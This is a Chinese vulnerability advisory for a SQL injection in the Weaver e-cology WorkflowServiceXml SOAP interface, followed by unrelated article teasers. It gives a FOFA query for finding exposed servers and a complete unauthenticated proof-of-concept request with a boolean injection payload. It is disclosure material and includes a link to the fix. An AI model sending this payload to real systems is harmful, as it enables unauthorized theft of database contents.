泛微e-cology WorkflowServiceXml SQL注入漏洞(POC)
漏洞描述：
泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露，用于服务调用，未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入，攻击者通过漏洞可以获取服务器数据库敏感信息。
漏洞发现时间：
2024-7-12
影响版本：
e-cology9 < 10.64.1
FOFA语法：
app="泛微-OA（e-cology）"
POC：
POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/><soapenv:Body><web:getHendledWorkflowRequestList><web:in0>1</web:in0><web:in1>1</web:in1><web:in2>1</web:in2><web:in3>1</web:in3><web:in4><web:string>1=1 AND 5615=5615</web:string></web:in4></web:getHendledWorkflowRequestList></soapenv:Body>
</soapenv:Envelope>漏洞复现：
修复：
目前官方已有可更新版本，建议受影响用户升级至最新版本：
https://www.weaver.com.cn/cs/securityDownload.html
参考文献：
OSCS | 开源软件供应链安全社区 | 让每一个开源项目变得更安全
POC/泛微OA-E-Cology接口WorkflowServiceXml存在SQL注入漏洞.md at main · wy876/POC · GitHub
相关文章：
泛微e-cology WorkflowServiceXml SQL注入漏洞(POC)
漏洞描述： 泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露，用于服务调用，未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入，…...
＜Rust＞＜GUI＞rust语言GUI库tauri体验：前、后端结合创建一个窗口并修改其样式
前言 本文是rust语言下的GUI库：tauri来创建一个窗口的简单演示，主要说明一下，使用tauri这个库如何创建GUI以及如何添加部件、如何编写逻辑、如何修改风格等，所以，这也是一个专栏，将包括tauri库的多个方面。…...
OBD诊断（ISO15031） 09服务
文章目录 功能简介ISO 9141-2、ISO 14230-4和SAE J1850的诊断服务定义1、请求车辆信息请求消息（读取支持的INFOTYPE）2、请求车辆信息响应消息(报告支持INFOTYPE)3、请求车辆信息请求消息（读取INFOTYPE值）4、请求车辆信息响应消息&…...
客户端与服务端之间的通信连接
目录 那什么是Socket? 什么是ServerSocket? 代码展示： 代码解析： 补充： 输入流（InputStream）： 输出流（OutputStream）： BufferedReader 是如何提高读取效率的&a…...
Font Awesome 图表图标
Font Awesome 图表图标 Font Awesome 是一个广泛使用的图标库，它提供了大量的图标，可以轻松地用于网页设计和开发中。在本文中，我们将重点介绍 Font Awesome 中的图表图标，探讨它们的特点、使用方法，并展示一些实际的…...
React Native 自定义 Hook 获取组件位置和大小
在 React Native 中自定义 Hook useLayout 获取 View、Pressable 等组件的位置和大小的信息 import {useState, useCallback} from react import {LayoutChangeEvent, LayoutRectangle} from react-nativeexport function useLayout() {const [layout, setLayout] useState&l…...
如何在SpringCloud中使用Kafka Streams实现实时数据处理
使用Kafka Streams在Spring Cloud中实现实时数据处理可以帮助我们构建可扩展、高性能的实时数据处理应用。Kafka Streams是一个基于Kafka的流处理库，它可以用来处理流式数据，进行流式计算和转换操作。 下面将介绍如何在Spring Cloud中使用Kafka Streams实…...
InterSystems IRIS使用python pyodbc连接 windows环境,odbc驱动安装，DSN配置，数据源配置
一、创建的数据库和数据 SELECT 1SELECT $ZVERSIONCREATE TABLE MyApp.Person ( ID INT PRIMARY KEY, Name VARCHAR(100) NOT NULL, Age INT, Gender CHAR(1) );CREATE TABLE MyApp.Person2 ( ID INT PRIMARY KEY, Name VARCHAR(100) NOT NULL, Age INT, Gender CHA…...
JVM：运行时数据区
文章目录 一、总览二、程序计数器1、介绍2、程序计数器在运行中会出现内存溢出吗？ 三、栈1、介绍2、栈帧的组成部分（1）局部变量表（2）操作数栈（3）帧数据（3）栈内存溢出&…...
spring-boot2.x整合Kafka步骤
1.pom依赖添加 <properties><java.version>1.8</java.version><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</ma…...
信创学习笔记(四),信创之数据库DB思维导图
创作不易 只因热爱!! 热衷分享，一起成长! “你的鼓励就是我努力付出的动力” 一. 信创学习回顾 1.信创内容 信创内容思维导图 2.信创之CPU芯片架构 信创之CPU芯片架构思维导图 3.信创之操作系统OS 信创之操作系统OS思维导图 二. 信创之国产数据库DB思维导图 …...
SCP 使用教程
SCP（Secure Copy Protocol）是一种通过加密的方式在本地主机和远程主机之间安全地传输文件的协议。它是基于SSH协议的扩展，允许用户在不同主机之间进行文件复制和传输，是Linux和Unix系统中常用的工具之一。本教程将详细介绍SCP的基…...
python自动化之用flask校验接口token(把token作为参数）
用到的库：flask 实现效果: 写一个接口，需要token正确才能登录 代码： # 导包 from flask import Flask,request,jsonify,json # 创建一个服务 appFlask(__name__) # post请求，路径：/query app.route(/query, met…...
旗晟巡检机器人的应用场景有哪些？
巡检机器人作为现代科技的杰出成果，已广泛应用于各个关键场景。从危险的工业现场到至关重要的基础设施，它们的身影无处不在。它们以精准、高效、不知疲倦的特性，担当起保障生产、守护安全的重任，为行业发展注入新的活力。那么&…...
vue2迁移到vue3注意点
vue2迁移到vue3注意点 1、插槽的修改 使用 #default ， 以及加上template 模板 2、 类型的定义，以及路由，vue相关资源（ref, reactive,watch）的引入等 3、类装饰器 1）vue-class-component是vue官方库,作…...
使用windows批量解压和布局ImageNet ISLVRC2012数据集
使用的系统是windows，找到的解压命令很多都linux系统中的，为了能在windows系统下使用，因此下载Git这个软件，在其中的Git Bash中使用以下命令，因为Git Bash集成了很多linux的命令，方便我们的使用。 ImageNe…...
css实现每个小盒子占32%，超出就换行
代码 <div class"visitors"><visitor class"item" v-for"(user,index) in userArr" :key"user.id" :user"user" :index"index"></visitor></div><style lang"scss" scoped&…...
C++的链接指示extern “C“
目录 链接指示extern "C"A.What（概念）B.Why（extern "C"的作用）C.How （如何使用链接指示extern "C"） 链接指示extern “C” A.What（概念） extern&quo…...
私域运营 组织架构
**揭秘私域社群运营的神秘面纱：角色与职能一网打尽！** 在私域社群运营的大舞台上，每个角色都扮演着不可或缺的重要角色。今天，就让我们一起揭开这个神秘世界的面纱，看看这些角色们是如何协同作战，共同创造…...
Netty HTTP
Netty 是一个高性能的异步事件驱动的网络应用程序框架，支持快速开发可维护的高性能协议服务器和客户端。它广泛应用于开发网络应用程序，如服务器和客户端协议的实现。Netty 提供了对多种传输类型的抽象，如 TCP/IP 和 UDP/IP 等，使…...
DeepSpeed v0.19.0 重大更新：训练稳定性、ZeRO、FPQuantizer、DeepCompile、Sequence Parallelism 全面增强，20 位贡献者带来 28 次提交
如果你正在关注 DeepSpeed 的最新版本，那么 v0.19.0 绝对值得重点解读。 这次更新覆盖范围非常广，从 版本号更新、Transpose 重构、进程组关闭卡死修复、ZeRO 相关修复、CPU offload 梯度问题修复、DeepCompile 兼容性修复、PyTorch 版本选择、FPQuantiz…...
全球仅12家顶级艺术机构内部流通的Perplexity知识图谱映射表（含RIS/JSON-LD双格式导出密钥）
更多请点击： https://intelliparadigm.com 第一章：Perplexity艺术知识搜索的范式革命 传统搜索引擎依赖关键词匹配与页面权重排序，在艺术史、当代策展理论、跨媒介创作方法论等高度语境化、隐喻密集的知识领域中，常陷入“查得到却…...
语法错误秒级定位，Perplexity查询调试实战手册，一线SRE团队内部流出！
更多请点击： https://intelliparadigm.com 第一章：Perplexity语法查询功能概览 Perplexity 是一款面向开发者与数据分析师设计的轻量级语法感知型查询工具，其核心能力在于对结构化与半结构化文本（如 SQL、JSON Schema、YAML 配置…...
体验Taotoken在多模型间智能路由与故障转移对大赛服务稳定性的提升
🚀 告别海外账号与网络限制！稳定直连全球优质大模型，限时半价接入中。 👉 点击领取海量免费额度 体验Taotoken在多模型间智能路由与故障转移对大赛服务稳定性的提升 在组织一场线上编程大赛时，后台的智能判题与实时答…...
5分钟快速上手Py-ART：气象雷达数据分析的终极Python工具包
5分钟快速上手Py-ART：气象雷达数据分析的终极Python工具包 【免费下载链接】pyart The Python-ARM Radar Toolkit. A data model driven interactive toolkit for working with weather radar data. 项目地址: https://gitcode.com/gh_mirrors/py/pyart Py-…...
Vivado编译加速：Jobs与Threads参数配置实战指南
1. 项目概述：从一次编译卡顿说起那天下午，我正在赶一个FPGA项目的最后集成，Vivado里点下“Run Implementation”，进度条就像被冻住了一样，半天不动。电脑风扇倒是转得挺欢，可CPU占用率看着也就50%上下。我第…...
从账单明细看 Taotoken 按 Token 计费模式带来的成本控制优势
🚀 告别海外账号与网络限制！稳定直连全球优质大模型，限时半价接入中。 👉 点击领取海量免费额度 从账单明细看 Taotoken 按 Token 计费模式带来的成本控制优势 1. 成本感知的起点：账单明细结构 对于使用大模型 API 的…...
如何将 Infinix 手机中的联系人传输到 iPhone
如果您刚从Infinix Android手机换到新款 iPhone ，首先可能会担心如何安全快捷地将联系人从 Infinix 转移到 iPhone。由于这两个系统使用不同的数据生态系统，许多用户不确定哪种方法最有效。幸运的是，有几种可靠的方法可以转移您的通讯录&…...
【独家首发】DeepSeek官方未公开的DRY检查白皮书（v2.3.1内测版）：覆盖LoRA适配器、MoE路由层、Tokenizer预处理3大高危模块
更多请点击： https://codechina.net 第一章：DeepSeek DRY原则检查的演进脉络与核心定义 DRY（Don’t Repeat Yourself）作为软件工程基石性原则，在DeepSeek大模型推理与代码生成场景中已从静态语法检查逐步演化为语义感…...
影刀RPA跨境店群运营架构：Python协同Chromium底层调度与高并发容器化架构
定了。在这场旷日持久的跨境电商反爬风控拉锯战中，我们终于用一套基于 Python 深度协同的分布式微服务调度架构，重塑了跨境千店矩阵的自动化底座。 这几天，科技圈被“DeepSeek V4 首发华为昇腾芯片，国产 AI 开始打破英伟达 CUDA …...